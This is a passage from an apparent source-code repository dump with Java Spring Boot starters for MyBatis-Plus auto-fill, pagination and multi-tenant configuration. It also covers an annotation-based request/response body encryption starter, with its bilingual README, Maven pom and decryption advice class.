    "content": "package io.github.wujun728.db.config;\n\nimport com.baomidou.mybatisplus.core.handlers.MetaObjectHandler;\nimport io.github.wujun728.db.properties.MybatisPlusAutoFillProperties;\nimport org.apache.ibatis.reflection.MetaObject;\n\nimport java.util.Date;\n\n/**\n * 自定义填充公共字段\n *\n */\npublic class DateMetaObjectHandler implements MetaObjectHandler {\n    private MybatisPlusAutoFillProperties autoFillProperties;\n\n    public DateMetaObjectHandler(MybatisPlusAutoFillProperties autoFillProperties) {\n        this.autoFillProperties = autoFillProperties;\n    }\n\n    /**\n     * 是否开启了插入填充\n     */\n    @Override\n    public boolean openInsertFill() {\n        return autoFillProperties.getEnableInsertFill();\n    }\n\n    /**\n     * 是否开启了更新填充\n     */\n    @Override\n    public boolean openUpdateFill() {\n        return autoFillProperties.getEnableUpdateFill();\n    }\n\n    /**\n     * 插入填充，字段为空自动填充\n     */\n    @Override\n    public void insertFill(MetaObject metaObject) {\n        Object createTime = getFieldValByName(autoFillProperties.getCreateTimeField(), metaObject);\n        Object updateTime = getFieldValByName(autoFillProperties.getUpdateTimeField(), metaObject);\n        if (createTime == null || updateTime == null) {\n            Date date = new Date();\n            if (createTime == null) {\n                setFieldValByName(autoFillProperties.getCreateTimeField(), date, metaObject);\n            }\n            if (updateTime == null) {\n                setFieldValByName(autoFillProperties.getUpdateTimeField(), date, metaObject);\n            }\n        }\n    }\n\n    /**\n     * 更新填充\n     */\n    @Override\n    public void updateFill(MetaObject metaObject) {\n        setFieldValByName(autoFillProperties.getUpdateTimeField(), new Date(), metaObject);\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-db-spring-boot-starter/src/main/java/io/github/wujun728/db/config/MybatisPlusAutoConfigure.java",
    "content": "package io.github.wujun728.db.config;\n\nimport com.baomidou.mybatisplus.annotation.DbType;\nimport com.baomidou.mybatisplus.core.handlers.MetaObjectHandler;\nimport com.baomidou.mybatisplus.extension.plugins.MybatisPlusInterceptor;\nimport com.baomidou.mybatisplus.extension.plugins.handler.TenantLineHandler;\nimport com.baomidou.mybatisplus.extension.plugins.inner.PaginationInnerInterceptor;\nimport io.github.wujun728.common.datascope.mp.interceptor.DataScopeInnerInterceptor;\nimport io.github.wujun728.common.datascope.mp.interceptor.EnableQuerySqlLogInnerInterceptor;\nimport io.github.wujun728.common.datascope.mp.sql.handler.CreatorDataScopeSqlHandler;\nimport io.github.wujun728.common.datascope.mp.sql.handler.SqlHandler;\nimport io.github.wujun728.common.properties.DataScopeProperties;\nimport io.github.wujun728.common.properties.TenantProperties;\nimport io.github.wujun728.db.interceptor.CustomTenantInterceptor;\nimport io.github.wujun728.db.properties.MybatisPlusAutoFillProperties;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\n\n/**\n * mybatis-plus自动配置\n *\n */\n@EnableConfigurationProperties({MybatisPlusAutoFillProperties.class, DataScopeProperties.class})\npublic class MybatisPlusAutoConfigure {\n    @Autowired\n    private TenantLineHandler tenantLineHandler;\n\n    @Autowired\n    private TenantProperties tenantProperties;\n\n    @Autowired\n    private MybatisPlusAutoFillProperties autoFillProperties;\n\n    @Autowired\n    private DataScopeProperties dataScopeProperties;\n\n    @Bean\n    @ConditionalOnMissingBean\n    public SqlHandler sqlHandler(){\n        return new CreatorDataScopeSqlHandler();\n    }\n\n    /**\n     * 分页插件，自动识别数据库类型\n     */\n    @Bean\n    public MybatisPlusInterceptor paginationInterceptor(SqlHandler sqlHandler) {\n        MybatisPlusInterceptor mpInterceptor = new MybatisPlusInterceptor();\n        boolean enableTenant = tenantProperties.getEnable();\n        //是否开启多租户隔离\n        if (enableTenant) {\n            CustomTenantInterceptor tenantInterceptor = new CustomTenantInterceptor(\n                    tenantLineHandler, tenantProperties.getIgnoreSqls());\n            mpInterceptor.addInnerInterceptor(tenantInterceptor);\n        }\n        if(dataScopeProperties.getEnabled()){\n            DataScopeInnerInterceptor dataScopeInnerInterceptor = new DataScopeInnerInterceptor(dataScopeProperties, sqlHandler);\n            mpInterceptor.addInnerInterceptor(Boolean.TRUE.equals(dataScopeProperties.getEnabledSqlDebug())\n                    ? new EnableQuerySqlLogInnerInterceptor(dataScopeInnerInterceptor): dataScopeInnerInterceptor);\n        }\n        mpInterceptor.addInnerInterceptor(new PaginationInnerInterceptor(DbType.MYSQL));\n        return mpInterceptor;\n    }\n\n    /** 配置分页插件*/\n    /*@Bean\n    public MybatisPlusInterceptor mybatisPlusInterceptor() {\n        MybatisPlusInterceptor interceptor = new MybatisPlusInterceptor();\n        interceptor.addInnerInterceptor(new PaginationInnerInterceptor(DbType.MYSQL));\n        return interceptor;\n    }*/\n\n    @Bean\n    @ConditionalOnMissingBean\n    @ConditionalOnProperty(prefix = \"jun.mybatis-plus.auto-fill\", name = \"enabled\", havingValue = \"true\", matchIfMissing = true)\n    public MetaObjectHandler metaObjectHandler() {\n        return new DateMetaObjectHandler(autoFillProperties);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-spring-boot-starter/src/main/java/io/github/wujun728/db/config/TenantAutoConfigure.java",
    "content": "package io.github.wujun728.db.config;\n\nimport com.baomidou.mybatisplus.extension.plugins.handler.TenantLineHandler;\n//import io.github.wujun728.common.context.TenantContextHolder;\nimport io.github.wujun728.common.properties.TenantProperties;\nimport net.sf.jsqlparser.expression.Expression;\nimport net.sf.jsqlparser.expression.NullValue;\nimport net.sf.jsqlparser.expression.StringValue;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\n\n/**\n * 多租户自动配置\n *\n */\n@EnableConfigurationProperties(TenantProperties.class)\npublic class TenantAutoConfigure {\n    @Autowired\n    private TenantProperties tenantProperties;\n\n    @Bean\n    public TenantLineHandler tenantLineHandler() {\n        return new TenantLineHandler() {\n            /**\n             * 获取租户id\n             */\n            @Override\n            public Expression getTenantId() {\n                /*String tenant = TenantContextHolder.getTenant();\n                if (tenant != null) {\n                    return new StringValue(TenantContextHolder.getTenant());\n                }*/\n                return new NullValue();\n            }\n\n            /**\n             * 过滤不需要根据租户隔离的表\n             * @param tableName 表名\n             */\n            @Override\n            public boolean ignoreTable(String tableName) {\n                return tenantProperties.getIgnoreTables().stream().anyMatch(\n                        (e) -> e.equalsIgnoreCase(tableName)\n                );\n            }\n        };\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-spring-boot-starter/src/main/java/io/github/wujun728/db/interceptor/CustomTenantInterceptor.java",
    "content": "package io.github.wujun728.db.interceptor;\n\nimport com.baomidou.mybatisplus.extension.plugins.handler.TenantLineHandler;\nimport com.baomidou.mybatisplus.extension.plugins.inner.TenantLineInnerInterceptor;\nimport org.apache.ibatis.executor.Executor;\nimport org.apache.ibatis.mapping.BoundSql;\nimport org.apache.ibatis.mapping.MappedStatement;\nimport org.apache.ibatis.session.ResultHandler;\nimport org.apache.ibatis.session.RowBounds;\n\nimport java.sql.SQLException;\nimport java.util.List;\n\n/**\n * MyBatis-plus租户拦截器\n *\n */\npublic class CustomTenantInterceptor extends TenantLineInnerInterceptor {\n    private List<String> ignoreSqls;\n\n    public CustomTenantInterceptor(TenantLineHandler tenantLineHandler, List<String> ignoreSqls) {\n        super(tenantLineHandler);\n        this.ignoreSqls = ignoreSqls;\n    }\n\n    @Override\n    public void beforeQuery(Executor executor, MappedStatement ms, Object parameter, RowBounds rowBounds\n            , ResultHandler resultHandler, BoundSql boundSql) throws SQLException {\n        if (isIgnoreMappedStatement(ms.getId())) {\n            return;\n        }\n        super.beforeQuery(executor, ms, parameter, rowBounds, resultHandler, boundSql);\n    }\n\n    private boolean isIgnoreMappedStatement(String msId) {\n        return ignoreSqls.stream().anyMatch((e) -> e.equalsIgnoreCase(msId));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-spring-boot-starter/src/main/java/io/github/wujun728/db/mapper/SuperMapper.java",
    "content": "package io.github.wujun728.db.mapper;\n\n\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\n\n/**\n * mapper 父类，注意这个类不要让 mp 扫描到！！\n */\npublic interface SuperMapper<T> extends BaseMapper<T> {\n    // 这里可以放一些公共的方法\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-spring-boot-starter/src/main/java/io/github/wujun728/db/properties/MybatisPlusAutoFillProperties.java",
    "content": "package io.github.wujun728.db.properties;\n\nimport lombok.Getter;\nimport lombok.Setter;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n//import org.springframework.cloud.context.config.annotation.RefreshScope;\n\n/**\n * mybatis-plus 配置\n *\n */\n@Setter\n@Getter\n@ConfigurationProperties(prefix = \"jun.mybatis-plus.auto-fill\")\n//@RefreshScope\npublic class MybatisPlusAutoFillProperties {\n    /**\n     * 是否开启自动填充字段\n     */\n    private Boolean enabled = true;\n    /**\n     * 是否开启了插入填充\n     */\n    private Boolean enableInsertFill = true;\n    /**\n     * 是否开启了更新填充\n     */\n    private Boolean enableUpdateFill = true;\n    /**\n     * 创建时间字段名\n     */\n    private String createTimeField = \"createTime\";\n    /**\n     * 更新时间字段名\n     */\n    private String updateTimeField = \"updateTime\";\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-spring-boot-starter/src/main/resources/META-INF/spring.factories.bk",
    "content": "org.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\nio.github.wujun728.db.config.TenantAutoConfigure,\\\nio.github.wujun728.db.config.MybatisPlusAutoConfigure\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/.gitignore",
    "content": "target/\npom.xml.tag\npom.xml.releaseBackup\npom.xml.versionsBackup\npom.xml.next\nrelease.properties\ndependency-reduced-pom.xml\nbuildNumber.properties\n.mvn/timing.properties\n\n# Avoid ignoring Maven wrapper jar file (.jar files are usually ignored)\n!/.mvn/wrapper/maven-wrapper.jar\n.idea/*\n*.iml\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/README.md",
    "content": "## 介绍\n`encrypt-body-spring-boot-starter`是对SpringBoot控制器统一的响应体加密与请求体解密的注解处理方式，支持MD5/SHA/AES/DES/RSA。\n\n## 加密解密支持\n- 可进行加密的方式有：\n    - - [x] MD5\n    - - [x] SHA-1 / SHA-256\n    - - [x] AES\n    - - [x] DES\n    - - [x] RSA\n- 可进行解密的方式有：\n    - - [x] AES\n    - - [x] DES\n    - - [x] RSA\n## 使用方法\n- 在`pom.xml`中引入依赖：\n```xml\n<dependency>\n    <groupId>cn.licoy</groupId>\n    <artifactId>encrypt-body-spring-boot-starter</artifactId>\n    <version>1.1.0</version>\n</dependency>\n```\n- 在工程对应的`Application`类中增加@EnableEncryptBody注解，例如：\n```java\n@EnableEncryptBody\n@SpringBootApplication\npublic class Application {\n    \n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n\n}\n```\n- 参数配置\n在项目的`application.yml`或`application.properties`文件中进行参数配置，例如：\n```yaml\nencrypt:  \n    body:\n      aes-key: 12345678 #AES加密秘钥\n      des-key: 12345678 #DES加密秘钥\n```\n- 对控制器响应体进行加密\n```java\n@Controller\n@RequestMapping(\"/test\")\npublic class TestController {\n\n    @GetMapping\n    @ResponseBody\n    @EncryptBody(value = EncryptBodyMethod.AES)\n    public String test(){\n        return \"hello world\";\n    }\n\n}\n```\n或者使用`@RestController`对整个控制器的方法响应体都进行加密：\n```java\n@RestController\n@EncryptBody\n@RequestMapping(\"/test\")\npublic class TestController {\n\n    @GetMapping\n    public String test(){\n        return \"hello world\";\n    }\n\n}\n```\n## 注解一览表\n- [加密注解一览表](https://github.com/Licoy/encrypt-body-spring-boot-starter/wiki/加密注解一览表)\n- [解密注解一览表](https://github.com/Licoy/encrypt-body-spring-boot-starter/wiki/解密注解一览表)\n## 开源协议\n[Apache 2.0](/LICENSE)\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/README_EN.md",
    "content": "[简体中文](./README.md) | English\n> This English document is translated by Google Translate. If you are willing to assist us with the documentation, please submit the relevant Pull Request.\n## Introduction\n`encrypt-body-spring-boot-starter` it is a unified processing method for response body encryption and request body decryption of SpringBoot controller, and supports MD5/SHA/AES/DES/RSA.\n\n [![](https://img.shields.io/github/release/Licoy/encrypt-body-spring-boot-starter.svg)]()\n [![](https://img.shields.io/github/issues/Licoy/encrypt-body-spring-boot-starter.svg)]()\n [![](https://img.shields.io/github/issues-pr/Licoy/encrypt-body-spring-boot-starter.svg)]()\n [![](https://img.shields.io/badge/author-Licoy-ff69b4.svg)]()\n## Encryption and decryption support\n- There are ways to encrypt：\n    - - [x] MD5\n    - - [x] SHA-1 / SHA-256\n    - - [x] AES\n    - - [x] DES\n    - - [x] RSA\n- There are ways to decrypt：\n    - - [x] AES\n    - - [x] DES\n    - - [x] RSA\n## Usage method\n- Introducing dependencies in `pom.xml`：\n```xml\n<dependency>\n    <groupId>cn.licoy</groupId>\n    <artifactId>encrypt-body-spring-boot-starter</artifactId>\n    <version>1.1.0</version>\n</dependency>\n```\n- Add the @EnableEncryptBody annotation to the `Application` class corresponding to the project, for example:\n```java\n@EnableEncryptBody\n@SpringBootApplication\npublic class Application {\n    \n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n\n}\n```\n- Parameter configuration\nConfigure the parameters in the project's `application.yml` or `application.properties` file, for example:\n```yaml\nencrypt:  \n    body:\n      aes-key: 12345678 #AES encryption key\n      des-key: 12345678 #DES encryption key\n```\n- Encrypt the controller response body\n```java\n@Controller\n@RequestMapping(\"/test\")\npublic class TestController {\n\n    @GetMapping\n    @ResponseBody\n    @EncryptBody(value = EncryptBodyMethod.AES)\n    public String test(){\n        return \"hello world\";\n    }\n\n}\n```\nOr use `@RestController` to encrypt the method response body of the entire controller:\n```java\n@RestController\n@EncryptBody\n@RequestMapping(\"/test\")\npublic class TestController {\n\n    @GetMapping\n    public String test(){\n        return \"hello world\";\n    }\n\n}\n```\n## Annotated list\n- [Encrypted annotation list](https://github.com/Licoy/encrypt-body-spring-boot-starter/wiki/加密注解一览表)\n- [Decryption annotation list](https://github.com/Licoy/encrypt-body-spring-boot-starter/wiki/解密注解一览表)\n## Discuss\n\n- Author blog：[https://www.licoy.cn](https://www.licoy.cn)\n## Open source agreement\n[Apache 2.0](/LICENSE)\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-encrypt-body-spring-boot-starter</artifactId>\n    <version>1.0.25</version>\n    <packaging>jar</packaging>\n    <description>jun-encrypt-body-spring-boot-starter 是SpringBoot控制器统一的响应体加密与请求体解密的注解处理方式，支持MD5/SHA/AES/DES/RSA</description>\n\n    <!--<parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.9</version>\n        <relativePath/>\n    </parent>-->\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n        <jun.version>1.0.25</jun.version>\n        <spring-boot.version>2.5.14</spring-boot.version>\n        <spring-cloud.version>2020.0.6</spring-cloud.version>\n        <hutool.version>5.7.22</hutool.version>\n        <lombok.version>1.18.22</lombok.version>\n        <nexus-staging-maven-plugin.version>1.6.3</nexus-staging-maven-plugin.version>\n        <maven-gpg-plugin.version>1.5</maven-gpg-plugin.version>\n        <maven-javadoc-plugin.version>2.9.1</maven-javadoc-plugin.version>\n    </properties>\n\n    <licenses>\n        <license>\n            <name>The Apache Software License, Version 2.0</name>\n            <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n            <distribution>repo</distribution>\n        </license>\n    </licenses>\n\n    <scm>\n        <connection>scm:git:git://github.com/Licoy/encrypt-body-spring-boot-starter.git</connection>\n        <developerConnection>scm:git:ssh://github.com:Licoy/encrypt-body-spring-boot-starter.git</developerConnection>\n        <url>http://github.com/Licoy/encrypt-body-spring-boot-starter/tree/master</url>\n    </scm>\n\n    <dependencyManagement>\n        <dependencies>\n            <dependency>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-dependencies</artifactId>\n                <version>${spring-boot.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.cloud</groupId>\n                <artifactId>spring-cloud-dependencies</artifactId>\n                <version>${spring-cloud.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>cn.hutool</groupId>\n                <artifactId>hutool-bom</artifactId>\n                <version>${hutool.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>${lombok.version}</version>\n            <scope>provided</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-crypto</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-core</artifactId>\n        </dependency>\n\n    </dependencies>\n\n    <distributionManagement>\n        <snapshotRepository>\n            <id>oss</id>\n            <url>https://s01.oss.sonatype.org/content/repositories/snapshots</url>\n        </snapshotRepository>\n        <repository>\n            <id>oss</id>\n            <url>https://s01.oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n        </repository>\n    </distributionManagement>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.1</version>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-source-plugin</artifactId>\n                <version>2.2.1</version>\n                <executions>\n                    <execution>\n                        <id>attach-sources</id>\n                        <goals>\n                            <goal>jar-no-fork</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-javadoc-plugin</artifactId>\n                <version>3.2.0</version>\n                <configuration>\n                    <show>package</show>\n                    <tags>\n                        <tag>\n                            <name>date</name>\n                        </tag>\n                    </tags>\n                </configuration>\n                <executions>\n                    <execution>\n                        <id>attach-javadocs</id>\n                        <phase>package</phase>\n                        <goals>\n                            <goal>jar</goal>\n                        </goals>\n                        <configuration>\n                            <doclint>none</doclint>\n                        </configuration>\n                    </execution>\n                </executions>\n            </plugin>\n            <!--<plugin>\n                 <groupId>org.apache.maven.plugins</groupId>\n                 <artifactId>maven-gpg-plugin</artifactId>\n                 <version>1.0</version>\n                 <executions>\n                     <execution>\n                         <id>sign-artifacts</id>\n                         <phase>verify</phase>\n                         <goals>\n                             <goal>sign</goal>\n                         </goals>\n                     </execution>\n                 </executions>\n             </plugin> -->\n\n        </plugins>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/advice/DecryptRequestBodyAdvice.java",
    "content": "package io.github.wujun728.encryptbody.advice;\n\nimport cn.hutool.core.io.IoUtil;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.crypto.SecureUtil;\nimport cn.hutool.crypto.asymmetric.RSA;\nimport io.github.wujun728.encryptbody.annotation.decrypt.AESDecryptBody;\nimport io.github.wujun728.encryptbody.annotation.decrypt.DESDecryptBody;\nimport io.github.wujun728.encryptbody.annotation.decrypt.DecryptBody;\nimport io.github.wujun728.encryptbody.annotation.decrypt.RSADecryptBody;\nimport io.github.wujun728.encryptbody.bean.DecryptAnnotationInfoBean;\nimport io.github.wujun728.encryptbody.bean.DecryptHttpInputMessage;\nimport io.github.wujun728.encryptbody.config.EncryptBodyConfig;\nimport io.github.wujun728.encryptbody.enums.DecryptBodyMethod;\nimport io.github.wujun728.encryptbody.exception.DecryptBodyFailException;\nimport io.github.wujun728.encryptbody.exception.DecryptMethodNotFoundException;\nimport io.github.wujun728.encryptbody.util.CommonUtils;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.core.MethodParameter;\nimport org.springframework.core.annotation.Order;\nimport org.springframework.http.HttpInputMessage;\nimport org.springframework.http.converter.HttpMessageConverter;\nimport org.springframework.web.bind.annotation.ControllerAdvice;\nimport org.springframework.web.servlet.mvc.method.annotation.RequestBodyAdvice;\n\nimport java.lang.annotation.Annotation;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.Type;\n\n/**\n * 请求数据的加密信息解密处理<br>\n * 本类只对控制器参数中含有<strong>{@link org.springframework.web.bind.annotation.RequestBody}</strong>\n * 以及package为<strong><code>cn.licoy.encryptbody.annotation.decrypt</code></strong>下的注解有效\n *\n * @author licoy.cn\n * @version 2018/9/7\n * @see RequestBodyAdvice\n */\n@Order(1)\n@ControllerAdvice\n@Slf4j\npublic class DecryptRequestBodyAdvice implements RequestBodyAdvice {\n\n    private final EncryptBodyConfig config;\n\n    public DecryptRequestBodyAdvice(EncryptBodyConfig config) {\n        this.config = config;\n    }\n\n    @Override\n    public boolean supports(MethodParameter methodParameter, Type targetType, Class<? extends HttpMessageConverter<?>> converterType) {\n        Annotation[] annotations = methodParameter.getDeclaringClass().getAnnotations();\n        if (annotations.length > 0) {\n            for (Annotation annotation : annotations) {\n                if (annotation instanceof DecryptBody || annotation instanceof AESDecryptBody || annotation instanceof DESDecryptBody || annotation instanceof RSADecryptBody) {\n                    return true;\n                }\n            }\n        }\n        Method method = methodParameter.getMethod();\n        if (method == null) {\n            return false;\n        }\n        return method.isAnnotationPresent(DecryptBody.class) || method.isAnnotationPresent(AESDecryptBody.class) || method.isAnnotationPresent(DESDecryptBody.class) || method.isAnnotationPresent(RSADecryptBody.class);\n    }\n\n    @Override\n    public Object handleEmptyBody(Object body, HttpInputMessage inputMessage, MethodParameter parameter, Type targetType, Class<? extends HttpMessageConverter<?>> converterType) {\n        return body;\n    }\n\n    @Override\n    public HttpInputMessage beforeBodyRead(HttpInputMessage inputMessage, MethodParameter parameter, Type targetType, Class<? extends HttpMessageConverter<?>> converterType) {\n        String body;\n        try {\n            body = IoUtil.read(inputMessage.getBody(), config.getEncoding());\n        } catch (Exception e) {\n            throw new DecryptBodyFailException(\"Unable to get request body data,\" + \" please check if the sending data body or request method is in compliance with the specification.\" + \" (无法获取请求正文数据，请检查发送数据体或请求方法是否符合规范。)\");\n        }\n        if (body == null || StrUtil.isEmpty(body)) {\n            throw new DecryptBodyFailException(\"The request body is NULL or an empty string, so the decryption failed.\" + \" (请求正文为NULL或为空字符串，因此解密失败。)\");\n        }\n        String decryptBody = null;\n        DecryptAnnotationInfoBean methodAnnotation = this.getMethodAnnotation(parameter);\n        if (methodAnnotation != null) {\n            decryptBody = switchDecrypt(body, methodAnnotation);\n        } else {\n            DecryptAnnotationInfoBean classAnnotation = this.getClassAnnotation(parameter.getDeclaringClass());\n            if (classAnnotation != null) {\n                decryptBody = switchDecrypt(body, classAnnotation);\n            }\n        }\n        if (decryptBody == null) {\n            throw new DecryptBodyFailException(\"Decryption error, \" + \"please check if the selected source data is encrypted correctly.\" + \" (解密错误，请检查选择的源数据的加密方式是否正确。)\");\n        }\n        try {\n            return new DecryptHttpInputMessage(IoUtil.toStream(decryptBody, config.getEncoding()), inputMessage.getHeaders());\n        } catch (Exception e) {\n            throw new DecryptBodyFailException(\"The string is converted to a stream format exception.\" + \" Please check if the format such as encoding is correct.\" + \" (字符串转换成流格式异常，请检查编码等格式是否正确。)\");\n        }\n    }\n\n    @Override\n    public Object afterBodyRead(Object body, HttpInputMessage inputMessage, MethodParameter parameter, Type targetType, Class<? extends HttpMessageConverter<?>> converterType) {\n        return body;\n    }\n\n    /**\n     * 获取方法控制器上的加密注解信息\n     *\n     * @param methodParameter 控制器方法\n     * @return 加密注解信息\n     */\n    private DecryptAnnotationInfoBean getMethodAnnotation(MethodParameter methodParameter) {\n        Method method = methodParameter.getMethod();\n        if (method == null) {\n            return null;\n        }\n        if (method.isAnnotationPresent(DecryptBody.class)) {\n            DecryptBody decryptBody = methodParameter.getMethodAnnotation(DecryptBody.class);\n            if (decryptBody != null) {\n                return DecryptAnnotationInfoBean.builder().decryptBodyMethod(decryptBody.value()).key(decryptBody.otherKey()).build();\n            }\n        }\n        if (method.isAnnotationPresent(DESDecryptBody.class)) {\n            DESDecryptBody decryptBody = methodParameter.getMethodAnnotation(DESDecryptBody.class);\n            if (decryptBody != null) {\n                return DecryptAnnotationInfoBean.builder().decryptBodyMethod(DecryptBodyMethod.DES).key(decryptBody.key()).build();\n            }\n        }\n        if (method.isAnnotationPresent(AESDecryptBody.class)) {\n            AESDecryptBody decryptBody = methodParameter.getMethodAnnotation(AESDecryptBody.class);\n            if (decryptBody != null) {\n                return DecryptAnnotationInfoBean.builder().decryptBodyMethod(DecryptBodyMethod.AES).key(decryptBody.key()).build();\n            }\n        }\n        if (method.isAnnotationPresent(RSADecryptBody.class)) {\n            RSADecryptBody decryptBody = methodParameter.getMethodAnnotation(RSADecryptBody.class);\n            if (decryptBody != null) {\n                return DecryptAnnotationInfoBean.builder().decryptBodyMethod(DecryptBodyMethod.RSA).key(decryptBody.key()).rsaKeyType(decryptBody.type()).build();\n            }\n        }\n        return null;\n    }\n\n    /**\n     * 获取类控制器上的加密注解信息\n     *\n     * @param clazz 控制器类\n     * @return 加密注解信息\n     */\n    private DecryptAnnotationInfoBean getClassAnnotation(Class<?> clazz) {\n        Annotation[] annotations = clazz.getDeclaredAnnotations();\n        if (annotations.length > 0) {\n            for (Annotation annotation : annotations) {\n                if (annotation instanceof DecryptBody) {\n                    DecryptBody decryptBody = (DecryptBody) annotation;\n                    return DecryptAnnotationInfoBean.builder().decryptBodyMethod(decryptBody.value()).key(decryptBody.otherKey()).build();\n                }\n                if (annotation instanceof DESDecryptBody) {\n                    return DecryptAnnotationInfoBean.builder().decryptBodyMethod(DecryptBodyMethod.DES).key(((DESDecryptBody) annotation).key()).build();\n                }\n                if (annotation instanceof AESDecryptBody) {\n                    return DecryptAnnotationInfoBean.builder().decryptBodyMethod(DecryptBodyMethod.AES).key(((AESDecryptBody) annotation).key()).build();\n                }\n            }\n        }\n        return null;\n    }\n\n\n    /**\n     * 选择加密方式并进行解密\n     *\n     * @param formatStringBody 目标解密字符串\n     * @param infoBean         加密信息\n     * @return 解密结果\n     */\n    private String switchDecrypt(String formatStringBody, DecryptAnnotationInfoBean infoBean) {\n        DecryptBodyMethod method = infoBean.getDecryptBodyMethod();\n        if (method == null) {\n            throw new DecryptMethodNotFoundException();\n        }\n        String key = infoBean.getKey();\n        if (method == DecryptBodyMethod.DES) {\n            key = CommonUtils.checkAndGetKey(config.getDesKey(), key, \"DES-KEY\");\n            return SecureUtil.des(key.getBytes()).decryptStr(formatStringBody);\n        }\n        if (method == DecryptBodyMethod.AES) {\n            key = CommonUtils.checkAndGetKey(config.getAesKey(), key, \"AES-KEY\");\n            return SecureUtil.aes(key.getBytes()).decryptStr(formatStringBody);\n        }\n        if (method == DecryptBodyMethod.RSA) {\n            RSA rsa = CommonUtils.infoBeanToRsaInstance(infoBean);\n            return rsa.decryptStr(formatStringBody, infoBean.getRsaKeyType().toolType);\n        }\n        throw new DecryptBodyFailException();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-encrypt-body-spring-boot-starter/src/main/java/io/github/wujun728/encryptbody/advice/EncryptResponseBodyAdvice.java",
